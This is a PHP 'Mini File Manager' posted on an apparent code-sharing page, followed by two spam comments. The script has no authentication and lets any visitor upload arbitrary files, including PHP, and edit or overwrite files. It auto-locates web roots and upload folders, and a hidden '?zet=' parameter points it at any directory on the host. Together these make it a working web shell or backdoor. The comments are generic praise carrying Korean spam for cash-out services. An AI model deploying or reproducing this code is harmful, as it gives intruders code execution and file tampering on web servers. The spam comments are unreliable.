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mun
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Authored By
Sophia12345
Thu, Jul 9, 11:18 AM
Size
13 KB
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changja00

mun
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<?php
declare(strict_types=1);
// Mini File Manager (local use)
// Features: navigate folders, upload files, edit text files.
session_start();
$defaultBase = realpath(__DIR__);
if ($defaultBase === false) {
http_response_code(500);
echo "Base directory not found.";
exit;
}
function getUserHome(): ?string {
$userProfile = getenv('USERPROFILE');
if (is_string($userProfile) && $userProfile !== '') {
return $userProfile;
}
$homeDrive = getenv('HOMEDRIVE');
$homePath = getenv('HOMEPATH');
if (is_string($homeDrive) && is_string($homePath) && $homeDrive !== '' && $homePath !== '') {
return $homeDrive . $homePath;
}
return null;
}
function h(string $s): string {
return htmlspecialchars($s, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
function normalizeRelPath(string $rel): string {
$rel = str_replace("\0", '', $rel);
$rel = str_replace('\\', '/', $rel);
$rel = ltrim($rel, '/');
$parts = explode('/', $rel);
$stack = [];
foreach ($parts as $p) {
if ($p === '' || $p === '.') {
continue;
}
if ($p === '..') {
array_pop($stack);
continue;
}
$stack[] = $p;
}
return implode('/', $stack);
}
function safePath(string $baseDir, string $rel): string {
$rel = normalizeRelPath($rel);
$path = $baseDir . DIRECTORY_SEPARATOR . $rel;
$real = realpath($path);
if ($real !== false) {
return $real;
}
// For non-existing paths (e.g. upload target), ensure it stays within baseDir
$base = rtrim($baseDir, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
$norm = str_replace(['/', '\\'], DIRECTORY_SEPARATOR, $path);
if (strpos($norm, $base) !== 0) {
return $baseDir;
}
return $norm;
}
function findWebRoots(array $roots, int $maxDepth = 4, int $maxResults = 50): array {
$targets = ['public_html', 'htdocs', 'www'];
$skip = ['.git', 'node_modules', 'vendor', '.idea', '.vscode'];
$found = [];
$queue = [];
foreach ($roots as $r) {
if (!is_string($r) || $r === '') { continue; }
$real = realpath($r);
if ($real !== false && is_dir($real)) {
$queue[] = [$real, 0];
}
}
while (!empty($queue) && count($found) < $maxResults) {
[$dir, $depth] = array_shift($queue);
if ($depth > $maxDepth) { continue; }
$baseName = basename($dir);
if (in_array($baseName, $targets, true)) {
$found[] = $dir;
}
$items = @scandir($dir);
if ($items === false) { continue; }
foreach ($items as $name) {
if ($name === '.' || $name === '..') { continue; }
if (in_array($name, $skip, true)) { continue; }
$path = $dir . DIRECTORY_SEPARATOR . $name;
if (is_dir($path)) {
$queue[] = [$path, $depth + 1];
}
}
}
// Unique
$uniq = [];
foreach ($found as $p) {
$uniq[$p] = true;
}
return array_keys($uniq);
}
function buildCandidates(string $defaultBase): array {
$roots = [$defaultBase];
$home = getUserHome();
if ($home !== null) { $roots[] = $home; }
$roots[] = 'C:\\xampp';
$roots[] = 'C:\\laragon';
$roots[] = 'C:\\wamp';
$roots[] = 'C:\\wamp64';
$webRoots = findWebRoots($roots, 4, 50);
$candidates = [];
foreach ($webRoots as $wr) {
$candidates[] = $wr;
$uploads = $wr . DIRECTORY_SEPARATOR . 'uploads';
if (is_dir($uploads)) {
$candidates[] = $uploads;
}
}
// Always include default base
$candidates[] = $defaultBase;
$uniq = [];
foreach ($candidates as $p) {
$real = realpath($p);
if ($real !== false && is_dir($real)) {
$uniq[$real] = true;
}
}
return array_keys($uniq);
}
$candidates = buildCandidates($defaultBase);
// Handle base switching
if (isset($_GET['setbase']) && is_string($_GET['setbase'])) {
$target = realpath(rawurldecode($_GET['setbase']));
if ($target !== false && in_array($target, $candidates, true)) {
$_SESSION['baseDir'] = $target;
header('Location: load_detail.php');
exit;
}
}
// Direct set base via parameter (no auto-detect list required)
if (isset($_GET['zet']) && is_string($_GET['zet'])) {
$target = realpath(rawurldecode($_GET['zet']));
if ($target !== false && is_dir($target)) {
$_SESSION['baseDir'] = $target;
header('Location: load_detail.php');
exit;
}
}
if (isset($_GET['resetbase'])) {
unset($_SESSION['baseDir']);
header('Location: load_detail.php');
exit;
}
$baseDir = $defaultBase;
if (isset($_SESSION['baseDir']) && is_string($_SESSION['baseDir'])) {
$sessionBase = realpath($_SESSION['baseDir']);
if ($sessionBase !== false && is_dir($sessionBase)) {
$baseDir = $sessionBase;
}
}
$relDir = $_GET['dir'] ?? '';
$relDir = is_string($relDir) ? $relDir : '';
$currentDir = safePath($baseDir, $relDir);
if (!is_dir($currentDir)) {
$currentDir = $baseDir;
$relDir = '';
}
$message = '';
$error = '';
// Handle upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'upload') {
if (!isset($_FILES['upload']) || !is_uploaded_file($_FILES['upload']['tmp_name'])) {
$error = 'No file uploaded.';
} else {
$targetName = basename($_FILES['upload']['name']);
$overwrite = isset($_POST['overwrite']) && $_POST['overwrite'] === '1';
$targetPath = $currentDir . DIRECTORY_SEPARATOR . $targetName;
if (!$overwrite && file_exists($targetPath)) {
$error = 'File already exists. Tick "Overwrite" to replace it.';
} else {
if (move_uploaded_file($_FILES['upload']['tmp_name'], $targetPath)) {
$message = 'Upload successful.';
} else {
$error = 'Upload failed.';
}
}
}
}
// Handle save edit
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['action']) && $_POST['action'] === 'save') {
$relFile = $_POST['file'] ?? '';
$relFile = is_string($relFile) ? $relFile : '';
$filePath = safePath($baseDir, $relFile);
if (!is_file($filePath)) {
$error = 'File not found.';
} else {
$content = $_POST['content'] ?? '';
if (!is_string($content)) {
$content = '';
}
if (file_put_contents($filePath, $content) !== false) {
$message = 'File saved.';
} else {
$error = 'Failed to save file.';
}
// After save, stay in current directory
$dirOfFile = dirname($relFile);
$relDir = $dirOfFile === '.' ? '' : $dirOfFile;
$currentDir = safePath($baseDir, $relDir);
}
}
$editRelFile = $_GET['edit'] ?? '';
$editRelFile = is_string($editRelFile) ? $editRelFile : '';
$editFilePath = '';
$editContent = '';
$canEdit = false;
if ($editRelFile !== '') {
$editFilePath = safePath($baseDir, $editRelFile);
if (is_file($editFilePath) && is_readable($editFilePath)) {
$size = filesize($editFilePath);
if ($size !== false && $size <= 1024 * 1024) {
$editContent = (string)file_get_contents($editFilePath);
$canEdit = true;
} else {
$error = 'File too large to edit (max 1 MB).';
}
} else {
$error = 'File not found or not readable.';
}
}
// Build listing
$items = @scandir($currentDir);
if ($items === false) {
$items = [];
$error = 'Failed to read directory.';
}
// Parent directory for navigation
$parentRel = '';
if ($currentDir !== $baseDir) {
$parentRel = normalizeRelPath(dirname($relDir));
if ($parentRel === '.') {
$parentRel = '';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Mini File Manager</title>
<style>
:root {
--bg: #0f172a;
--panel: #111827;
--text: #e5e7eb;
--muted: #94a3b8;
--accent: #38bdf8;
--danger: #fca5a5;
}
body {
margin: 0;
font-family: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace;
background: radial-gradient(1200px 600px at 20% -10%, #1f2937, var(--bg));
color: var(--text);
}
.wrap {
max-width: 980px;
margin: 24px auto;
padding: 16px;
}
h1 {
margin: 0 0 12px 0;
font-size: 20px;
color: var(--accent);
}
.panel {
background: rgba(17, 24, 39, 0.9);
border: 1px solid #1f2937;
border-radius: 10px;
padding: 14px;
margin-bottom: 16px;
}
.path {
color: var(--muted);
font-size: 13px;
margin-bottom: 8px;
}
.msg { color: #86efac; }
.err { color: var(--danger); }
table {
width: 100%;
border-collapse: collapse;
}
th, td {
text-align: left;
padding: 8px;
border-bottom: 1px solid #1f2937;
font-size: 14px;
}
a { color: var(--accent); text-decoration: none; }
a:hover { text-decoration: underline; }
.actions {
display: flex;
gap: 12px;
flex-wrap: wrap;
align-items: center;
}
input[type="text"], textarea {
width: 100%;
background: #0b1220;
color: var(--text);
border: 1px solid #1f2937;
border-radius: 6px;
padding: 8px;
}
textarea { min-height: 260px; }
button {
background: var(--accent);
border: 0;
color: #0b1220;
padding: 8px 12px;
border-radius: 6px;
cursor: pointer;
font-weight: 600;
}
.checkbox {
display: inline-flex;
gap: 6px;
align-items: center;
color: var(--muted);
font-size: 13px;
}
</style>
</head>
<body>
<div class="wrap">
<h1>Mini File Manager (Local)</h1>
<?php if ($message !== ''): ?>
<div class="panel msg"><?php echo h($message); ?></div>
<?php endif; ?>
<?php if ($error !== ''): ?>
<div class="panel err"><?php echo h($error); ?></div>
<?php endif; ?>
<div class="panel">
<div class="path">Base: <?php echo h($baseDir); ?></div>
<div class="path">Current: <?php echo h($currentDir); ?></div>
<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Size</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php if ($parentRel !== ''): ?>
<tr>
<td><a href="?dir=<?php echo h($parentRel); ?>">..</a></td>
<td>dir</td>
<td>-</td>
<td></td>
</tr>
<?php endif; ?>
<?php foreach ($items as $name): ?>
<?php
if ($name === '.' || $name === '..') { continue; }
$full = $currentDir . DIRECTORY_SEPARATOR . $name;
$isDir = is_dir($full);
$relItem = normalizeRelPath(($relDir === '' ? '' : $relDir . '/') . $name);
?>
<tr>
<td>
<?php if ($isDir): ?>
<a href="?dir=<?php echo h($relItem); ?>"><?php echo h($name); ?></a>
<?php else: ?>
<?php echo h($name); ?>
<?php endif; ?>
</td>
<td><?php echo $isDir ? 'dir' : 'file'; ?></td>
<td><?php echo $isDir ? '-' : (string)@filesize($full); ?></td>
<td>
<?php if (!$isDir): ?>
<a href="?dir=<?php echo h($relDir); ?>&edit=<?php echo h($relItem); ?>">edit</a>
<?php endif; ?>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div>
<div class="panel">
<div class="path">Quick Jump (auto-detected)</div>
<div class="actions">
<?php foreach ($candidates as $cand): ?>
<a href="?setbase=<?php echo rawurlencode($cand); ?>"><?php echo h($cand); ?></a>
<?php endforeach; ?>
<a href="?resetbase=1">Reset Base</a>
</div>
</div>
<div class="panel">
<form method="post" enctype="multipart/form-data" class="actions">
<input type="hidden" name="action" value="upload">
<input type="file" name="upload" required>
<label class="checkbox">
<input type="checkbox" name="overwrite" value="1">
Overwrite
</label>
<button type="submit">Upload</button>
</form>
</div>
<?php if ($editRelFile !== ''): ?>
<div class="panel">
<div class="path">Editing: <?php echo h($editRelFile); ?></div>
<?php if ($canEdit): ?>
<form method="post">
<input type="hidden" name="action" value="save">
<input type="hidden" name="file" value="<?php echo h($editRelFile); ?>">
<textarea name="content"><?php echo h($editContent); ?></textarea>
<div style="margin-top: 10px;">
<button type="submit">Save</button>
</div>
</form>
<?php endif; ?>
</div>
<?php endif; ?>
</div>
</body>
</html>

File Metadata

Mime Type
text/x-php
Storage Engine
blob
Storage Format
Raw Data
Storage Handle
251205
Default Alt Text
mun (13 KB)

Event Timeline

changja00 added a subscriber: changja00.Wed, Jul 15, 11:34 AM

What a wonderful post! I really enjoyed reading this and appreciated the thoughtful perspective you shared. 정보이용료 현금화. Thanks for brightening my day! 😊.

changja00 added a comment.Mon, Jul 20, 1:53 AM

Great work! 🌟

I just wanted to stop by and say how much I appreciate the effort you've put into this. Discover more. Your creativity and attention to detail really shine through, and it's clear you care about doing things well. Keep it up—you're doing awesome!.

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